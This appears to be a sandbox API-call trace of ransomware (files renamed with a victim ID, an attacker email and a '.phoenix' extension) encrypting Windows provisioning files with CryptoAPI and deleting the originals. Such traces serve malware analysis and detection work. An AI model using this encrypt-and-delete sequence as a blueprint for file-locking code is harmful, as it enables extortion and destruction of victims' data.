	[0256.687] ReadFile (in: hFile=0x2c0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2bd, lpOverlapped=0x0) returned 1
	[0256.821] CryptEncrypt (in: hKey=0x151480, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2c0, dwBufLen=0x2c0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2c0) returned 1
	[0256.821] WriteFile (in: hFile=0x2d0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2c0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2c0, lpOverlapped=0x0) returned 1
	[0256.822] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151080) returned 1
	[0256.822] CryptSetKeyParam (hKey=0x151080, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0256.822] CryptEncrypt (in: hKey=0x151080, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xa0, dwBufLen=0xa0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xa0) returned 1
	[0256.822] CryptDestroyKey (hKey=0x151080) returned 1
	[0256.822] WriteFile (in: hFile=0x2d0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x152, lpOverlapped=0x0) returned 1
	[0256.822] CryptDestroyKey (hKey=0x151480) returned 1
	[0256.822] CloseHandle (hObject=0x2c0) returned 1
	[0256.823] CloseHandle (hObject=0x2d0) returned 1
	[0256.823] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\629__Connections_Cellular_Bell (Canada)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\629__connections_cellular_bell (canada)_i0$(__mvid)@wap.provxml")) returned 1
	[0256.824] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0256.824] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\635__Connections_Cellular_3 (United Kingdom)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\635__connections_cellular_3 (united kingdom)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0256.825] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=704) returned 1
	[0256.825] CloseHandle (hObject=0x2d0) returned 1
	[0256.825] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\635__Connections_Cellular_3 (United Kingdom)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\635__connections_cellular_3 (united kingdom)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0256.825] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\635__Connections_Cellular_3 (United Kingdom)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\635__connections_cellular_3 (united kingdom)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0256.825] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\635__Connections_Cellular_3 (United Kingdom)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\635__connections_cellular_3 (united kingdom)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0256.825] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0256.825] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0256.825] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\635__Connections_Cellular_3 (United Kingdom)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\635__connections_cellular_3 (united kingdom)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0256.826] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151740) returned 1
	[0256.826] CryptSetKeyParam (hKey=0x151740, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0256.826] ReadFile (in: hFile=0x2d0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2c0, lpOverlapped=0x0) returned 1
	[0256.829] CryptEncrypt (in: hKey=0x151740, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0) returned 1
	[0256.829] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2d0, lpOverlapped=0x0) returned 1
	[0256.830] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151780) returned 1
	[0256.830] CryptSetKeyParam (hKey=0x151780, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0256.830] CryptEncrypt (in: hKey=0x151780, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0256.830] CryptDestroyKey (hKey=0x151780) returned 1
	[0256.830] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0256.830] CryptDestroyKey (hKey=0x151740) returned 1
	[0256.830] CloseHandle (hObject=0x2d0) returned 1
	[0256.830] CloseHandle (hObject=0x2c0) returned 1
	[0256.830] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\635__Connections_Cellular_3 (United Kingdom)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\635__connections_cellular_3 (united kingdom)_i0$(__mvid)@wap.provxml")) returned 1
	[0256.832] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0256.832] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\636__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\636__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0256.833] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=459) returned 1
	[0256.833] CloseHandle (hObject=0x2c0) returned 1
	[0256.833] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\636__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\636__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml")) returned 0x20
	[0256.833] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\636__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\636__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0256.834] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\636__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\636__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0256.834] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0256.834] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0256.834] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\636__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\636__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0256.835] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151540) returned 1
	[0256.835] CryptSetKeyParam (hKey=0x151540, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0256.835] ReadFile (in: hFile=0x2c0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x1cb, lpOverlapped=0x0) returned 1
	[0256.836] CryptEncrypt (in: hKey=0x151540, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x1d0, dwBufLen=0x1d0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x1d0) returned 1
	[0256.836] WriteFile (in: hFile=0x2d0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x1d0, lpOverlapped=0x0) returned 1
	[0256.837] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151300) returned 1
	[0256.837] CryptSetKeyParam (hKey=0x151300, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0256.837] CryptEncrypt (in: hKey=0x151300, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0256.837] CryptDestroyKey (hKey=0x151300) returned 1
	[0256.837] WriteFile (in: hFile=0x2d0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0256.837] CryptDestroyKey (hKey=0x151540) returned 1
	[0256.837] CloseHandle (hObject=0x2c0) returned 1
	[0256.837] CloseHandle (hObject=0x2d0) returned 1
	[0256.837] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\636__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\636__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml")) returned 1
	[0256.838] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0256.838] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\637__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\637__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0256.839] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=448) returned 1
	[0256.839] CloseHandle (hObject=0x2d0) returned 1
	[0256.839] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\637__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\637__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20
	[0256.839] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\637__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\637__cellular_persimsettings_$(__iccid)_appid.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0256.839] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\637__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\637__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0256.840] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0256.840] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0256.840] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\637__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\637__cellular_persimsettings_$(__iccid)_appid.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0256.840] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151300) returned 1
	[0256.841] CryptSetKeyParam (hKey=0x151300, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0256.841] ReadFile (in: hFile=0x2d0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x1c0, lpOverlapped=0x0) returned 1
	[0256.842] CryptEncrypt (in: hKey=0x151300, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x1d0, dwBufLen=0x1d0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x1d0) returned 1
	[0256.842] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x1d0, lpOverlapped=0x0) returned 1
	[0256.842] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151380) returned 1
	[0256.842] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0256.842] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x90, dwBufLen=0x90 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x90) returned 1
	[0256.842] CryptDestroyKey (hKey=0x151380) returned 1
	[0256.843] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x142, lpOverlapped=0x0) returned 1
	[0256.843] CryptDestroyKey (hKey=0x151300) returned 1
	[0256.843] CloseHandle (hObject=0x2d0) returned 1
	[0256.843] CloseHandle (hObject=0x2c0) returned 1
	[0256.843] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\637__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\637__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 1
	[0256.844] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0256.844] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\638__Connections_Cellular_Mico-P - 3 (United Kingdom)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\638__connections_cellular_mico-p - 3 (united kingdom)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0256.844] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=715) returned 1
	[0256.844] CloseHandle (hObject=0x2c0) returned 1
	[0256.844] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\638__Connections_Cellular_Mico-P - 3 (United Kingdom)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\638__connections_cellular_mico-p - 3 (united kingdom)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0256.844] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\638__Connections_Cellular_Mico-P - 3 (United Kingdom)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\638__connections_cellular_mico-p - 3 (united kingdom)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0256.844] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\638__Connections_Cellular_Mico-P - 3 (United Kingdom)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\638__connections_cellular_mico-p - 3 (united kingdom)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0256.845] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0256.845] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0256.845] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\638__Connections_Cellular_Mico-P - 3 (United Kingdom)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\638__connections_cellular_mico-p - 3 (united kingdom)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0256.845] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151540) returned 1
	[0256.845] CryptSetKeyParam (hKey=0x151540, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0256.845] ReadFile (in: hFile=0x2c0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2cb, lpOverlapped=0x0) returned 1
	[0256.848] CryptEncrypt (in: hKey=0x151540, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0) returned 1
	[0256.848] WriteFile (in: hFile=0x2d0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2d0, lpOverlapped=0x0) returned 1
	[0256.849] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x1515c0) returned 1
	[0256.849] CryptSetKeyParam (hKey=0x1515c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0256.849] CryptEncrypt (in: hKey=0x1515c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xc0, dwBufLen=0xc0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xc0) returned 1
	[0256.849] CryptDestroyKey (hKey=0x1515c0) returned 1
	[0256.849] WriteFile (in: hFile=0x2d0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x172, lpOverlapped=0x0) returned 1
	[0256.849] CryptDestroyKey (hKey=0x151540) returned 1
	[0256.849] CloseHandle (hObject=0x2c0) returned 1
	[0256.849] CloseHandle (hObject=0x2d0) returned 1
	[0256.849] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\638__Connections_Cellular_Mico-P - 3 (United Kingdom)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\638__connections_cellular_mico-p - 3 (united kingdom)_i0$(__mvid)@wap.provxml")) returned 1
	[0256.850] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
